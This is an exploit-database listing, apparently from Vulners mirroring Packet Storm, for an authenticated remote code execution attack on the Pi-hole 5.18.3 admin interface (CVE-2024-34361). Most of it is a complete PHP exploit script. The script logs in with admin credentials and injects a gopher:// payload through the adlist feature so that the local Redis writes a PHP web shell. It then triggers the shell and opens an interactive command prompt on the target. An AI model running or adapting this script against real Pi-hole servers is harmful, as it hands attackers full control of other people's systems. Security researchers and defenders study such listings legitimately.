Lucene search
K

📄 Pi-hole 5.18.3 Remote Code Execution

🗓️ 22 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 152 Views

Authenticated remote code execution exploit targets Pi-hole 5.18.3 admin interface, enabling a web shell.

Related
Code
=============================================================================================================================================
    | # Title     : Pi-hole 5.18.3 via Redis & Gopher Abuse Authenticated Remote Code Execution                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://pi-hole.net/                                                                                                        |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212922/ & 	CVE-2024-34361
    
    [+] Summary    : This PHP script is an authenticated RCE exploit targeting Pi-hole’s web admin interface. 
                     It requires valid administrator credentials to log in, 
                     obtain a CSRF token, and abuse the adlist management feature by injecting a crafted gopher:// URL. 
    				 The payload forces the server to interact with a local Redis instance, 
    				 write a malicious PHP file into the admin directory, and ultimately enable arbitrary command execution through a web shell. 
                     The attack is post-authentication and becomes critical when credentials are compromised, leading to full system control.
    				
    [+] POC : php poc.php https://target.com adminpassword
    	
    <?php
    error_reporting(0);
    
    class PiHoleExploit {
        private $base_url;
        private $password;
        private $session;
        private $csrf_token;
        
        public function __construct($base_url, $password) {
            $this->base_url = rtrim($base_url, '/');
            $this->password = $password;
            $this->session = curl_init();
            
            // Configure CURL
            curl_setopt($this->session, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($this->session, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($this->session, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($this->session, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($this->session, CURLOPT_COOKIEJAR, 'cookies.txt');
            curl_setopt($this->session, CURLOPT_COOKIEFILE, 'cookies.txt');
            curl_setopt($this->session, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        }
        
        private function http_request($url, $method = 'GET', $data = null, $headers = []) {
            curl_setopt($this->session, CURLOPT_URL, $url);
            curl_setopt($this->session, CURLOPT_CUSTOMREQUEST, $method);
            
            $default_headers = [
                'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                'Accept-Language: en-US,en;q=0.5',
                'Connection: keep-alive',
            ];
            
            $all_headers = array_merge($default_headers, $headers);
            
            if ($method === 'POST' && $data !== null) {
                curl_setopt($this->session, CURLOPT_POSTFIELDS, http_build_query($data));
                $all_headers[] = 'Content-Type: application/x-www-form-urlencoded';
            }
            
            curl_setopt($this->session, CURLOPT_HTTPHEADER, $all_headers);
            
            $response = curl_exec($this->session);
            $http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
            
            return [
                'code' => $http_code,
                'body' => $response,
                'headers' => curl_getinfo($this->session, CURLINFO_HEADER_OUT)
            ];
        }
        
        public function login() {
            $url = $this->base_url . '/admin/login.php';
            $data = ['pw' => $this->password];
            
            $response = $this->http_request($url, 'POST', $data);
            
            if (strpos($response['body'], 'Wrong password') !== false) {
                echo "[!] Login failed. Incorrect password.\n";
                return false;
            }
            
            echo "[+] Login successful\n";
            return true;
        }
        
        private function extract_csrf_token($html) {
            // Try to find CSRF token in HTML
            if (preg_match('/<input[^>]*id="token"[^>]*value="([^"]+)"/i', $html, $matches)) {
                $token = $matches[1];
            } elseif (preg_match('/<input[^>]*name="token"[^>]*value="([^"]+)"/i', $html, $matches)) {
                $token = $matches[1];
            } elseif (preg_match('/"token"\s*:\s*"([^"]+)"/', $html, $matches)) {
                $token = $matches[1];
            } else {
                echo "[!] CSRF token not found\n";
                return null;
            }
            
            echo "[+] CSRF Token obtained: " . substr($token, 0, 20) . "...\n";
            return $token;
        }
        
        public function access_adlists() {
            $url = $this->base_url . '/admin/groups-adlists.php';
            $response = $this->http_request($url);
            
            if ($response['code'] == 200) {
                $this->csrf_token = $this->extract_csrf_token($response['body']);
                return $this->csrf_token !== null;
            } else {
                echo "[!] Error accessing groups-adlists. Status code: " . $response['code'] . "\n";
                return false;
            }
        }
        
        public function add_payload() {
            if (!$this->csrf_token) {
                echo "[!] No CSRF token available\n";
                return false;
            }
            
            $url = $this->base_url . '/admin/scripts/pi-hole/php/groups.php';
            
            // Gopher payload for Redis RCE
            $payload = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2419%0D%0A/var/www/html/admin%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';
            
            $data = [
                'action' => 'add_adlist',
                'address' => $payload,
                'comment' => '',
                'token' => $this->csrf_token
            ];
            
            $headers = [
                'X-Requested-With: XMLHttpRequest',
                'Accept: application/json, text/javascript, */*; q=0.01',
                'Origin: ' . $this->base_url,
                'Referer: ' . $this->base_url . '/admin/groups-adlists.php',
            ];
            
            $response = $this->http_request($url, 'POST', $data, $headers);
            
            if ($response['code'] == 200) {
                echo "[+] Payload sent successfully\n";
                echo "[+] shell.php should be dropped at /admin/shell.php\n";
                return true;
            } else {
                echo "[!] Failed to send payload. Status code: " . $response['code'] . "\n";
                return false;
            }
        }
        
        public function execute_payload() {
            $url = $this->base_url . '/admin/scripts/pi-hole/php/gravity.sh.php';
            
            $headers = [
                'Accept: text/event-stream',
                'Cache-Control: no-cache',
                'Referer: ' . $this->base_url . '/admin/gravity.php',
            ];
            
            $response = $this->http_request($url, 'GET', null, $headers);
            
            if ($response['code'] == 200) {
                echo "[+] Gravity update triggered\n";
                return true;
            } else {
                echo "[!] Failed to trigger gravity update. Status code: " . $response['code'] . "\n";
                return false;
            }
        }
        
        public function test_shell() {
            $url = $this->base_url . '/admin/shell.php?cmd=id';
            $response = $this->http_request($url);
            
            if (strpos($response['body'], 'uid=') !== false) {
                echo "[+] Shell is working! Command output:\n";
                echo $response['body'] . "\n";
                return true;
            } else {
                echo "[!] Shell test failed\n";
                if ($response['code'] == 404) {
                    echo "[!] shell.php not found (404)\n";
                }
                return false;
            }
        }
        
        public function interactive_shell() {
            echo "\n[+] Entering interactive shell mode\n";
            echo "[+] Type 'exit' to quit\n\n";
            
            while (true) {
                echo "shell> ";
                $cmd = trim(fgets(STDIN));
                
                if ($cmd === 'exit' || $cmd === 'quit') {
                    break;
                }
                
                if (empty($cmd)) {
                    continue;
                }
                
                $url = $this->base_url . '/admin/shell.php?cmd=' . urlencode($cmd);
                $response = $this->http_request($url);
                
                echo $response['body'] . "\n";
            }
        }
        
        public function cleanup() {
            // Remove the shell
            $url = $this->base_url . '/admin/shell.php?cmd=rm%20-f%20' . urlencode($this->base_url . '/admin/shell.php');
            $this->http_request($url);
            echo "[+] Shell cleaned up\n";
        }
        
        public function run() {
            echo "[*] Starting Pi-hole exploit\n";
            echo "[*] Target: " . $this->base_url . "\n";
            
            if (!$this->login()) {
                return false;
            }
            
            if (!$this->access_adlists()) {
                return false;
            }
            
            if (!$this->add_payload()) {
                return false;
            }
            
            if (!$this->execute_payload()) {
                return false;
            }
            
            // Wait for gravity update to complete
            echo "[*] Waiting 5 seconds for gravity update...\n";
            sleep(5);
            
            if ($this->test_shell()) {
                $this->interactive_shell();
                $this->cleanup();
            }
            
            return true;
        }
        
        public function __destruct() {
            if (is_resource($this->session)) {
                curl_close($this->session);
            }
            
            // Clean up cookie file
            if (file_exists('cookies.txt')) {
                unlink('cookies.txt');
            }
        }
    }
    
    // Command line interface
    if ($argc < 3) {
        echo "Usage: php " . basename(__FILE__) . " <base_url> <password>\n";
        echo "Example: php poc.php https://pihole.example.com admin123\n";
        exit(1);
    }
    
    $base_url = $argv[1];
    $password = $argv[2];
    
    $exploit = new PiHoleExploit($base_url, $password);
    $exploit->run();
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Dec 2025 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.18.5 - 8.8
EPSS0.02828
SSVC
152